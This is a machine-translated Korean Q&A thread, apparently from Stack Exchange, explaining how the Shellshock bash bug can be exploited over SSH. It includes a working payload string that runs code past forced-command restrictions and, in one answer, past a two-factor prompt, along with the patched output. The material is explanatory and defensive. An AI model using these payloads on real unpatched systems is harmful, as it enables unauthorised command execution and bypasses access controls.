SSH를 통해 Shellshock을 활용하는 방법은 무엇입니까?

SSH를 통해 Shellshock을 활용하는 방법은 무엇입니까?

분명히 Shellshock Bash 익스플로잇은CVE-2014-6271SSH를 통해 네트워크를 통해 악용될 수 있습니다. 이 취약점이 Apache/CGI를 통해 어떻게 작동할지 상상할 수 있지만 SSH를 통해 어떻게 작동할지 상상할 수 없습니다.

SSH가 어떻게 악용될 수 있고 이것이 시스템에 어떤 해를 끼칠 수 있는지에 대한 예를 제공할 수 있습니까?

밝히다

AFAIU, 인증된 사용자만 SSH를 통해 이 취약점을 악용할 수 있습니다. 이 취약점은 시스템에 대한 합법적인 접근 권한을 가진 사람에게 어떤 용도로 사용됩니까? 내 말은, 이 버그에는 권한 상승이 없으므로(그는 루트가 될 수 없음) SSH를 통해 합법적으로 로그인한 경우에만 할 수 있는 일을 할 수 있다는 것입니다.

답변1

이를 악용할 수 있는 한 가지 예는 authorized_keys강제 명령이 있는 서버입니다. 에 항목을 추가할 때 SSH 공개 키를 사용할 때 해당 항목이 강제로 실행되도록 ~/.ssh/authorized_keys해당 행의 접두사를 붙일 수 있습니다 . 이 취약점은 대상 사용자가 쉘이 .command="foo"foobash

이는 예제에서 더 의미가 있을 수 있으므로 예제는 다음과 같습니다.

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

testuser여기서는 SSH 키를 사용하여 SSH 연결을 강제로 실행하는 사용자를 설정합니다 echo starting sleep; sleep 1.

다음과 같은 방법으로 테스트할 수 있습니다.

$ ssh testuser@localhost echo something else
starting sleep

명령은 echo something else실행되지 않았지만 starting sleepshow force 명령은 실행되었습니다.

이제 이 취약점을 사용하는 방법을 보여드리겠습니다.

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

이는 환경 변수가 전달된 명령으로 sshd설정되어 있기 때문에 작동합니다. SSH_ORIGINAL_COMMAND따라서 내가 말하는 명령 대신 sshdrun을 사용하더라도 익스플로잇으로 인해 코드가 계속 실행됩니다.sleep

답변2

Ramesh의 예 확장 - 2단계 인증을 사용하는 경우 구현 방법에 따라 이 취약점을 사용하여 두 번째 요소를 우회할 수 있습니다.

— 정상적으로 로그인 —

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— 2FA 없이 코드 실행 —

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

2FA를 요청하지 않고 코드를 실행하는 것을 확인할 수 있습니다.

— Bash 패치 후 —

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

답변3

Shellshock은 SSH가 아닌 bash의 취약점입니다. 이를 악용하려면 공격자는 취약한 시스템에서 bash를 실행하고 bash에 전달되는 환경 변수의 값을 제어해야 합니다.

SSH를 통해 bash 프로세스에 접근하려면 공격자는 인증 단계를 통과해야 합니다. (다른 네트워크 서비스를 통한 공격 벡터가 있을 수 있지만 이 스레드의 범위를 벗어납니다.) 어쨌든 계정이 임의의 셸 명령을 실행할 수 있도록 허용된 경우 공격은 발생하지 않습니다. 이 취약점은 계정이 특정 명령을 실행하지 못하도록 제한된 경우에 작동합니다(예: SFTP 계정만 또는 git 계정만 등).

SSH를 사용하여 계정이 특정 명령을 실행하지 못하도록 제한하는 방법에는 여러 가지가 있습니다. ForceCommand의 옵션을 사용 sshd_config하거나 . Shellshock 취약점은 일반적으로 제한된 계정에만 액세스할 수 있는 사용자가 제한을 우회하고 사용자의 쉘이 bash인 경우 임의의 명령을 실행할 수 있도록 허용합니다.command=authorized_keys

관련 정보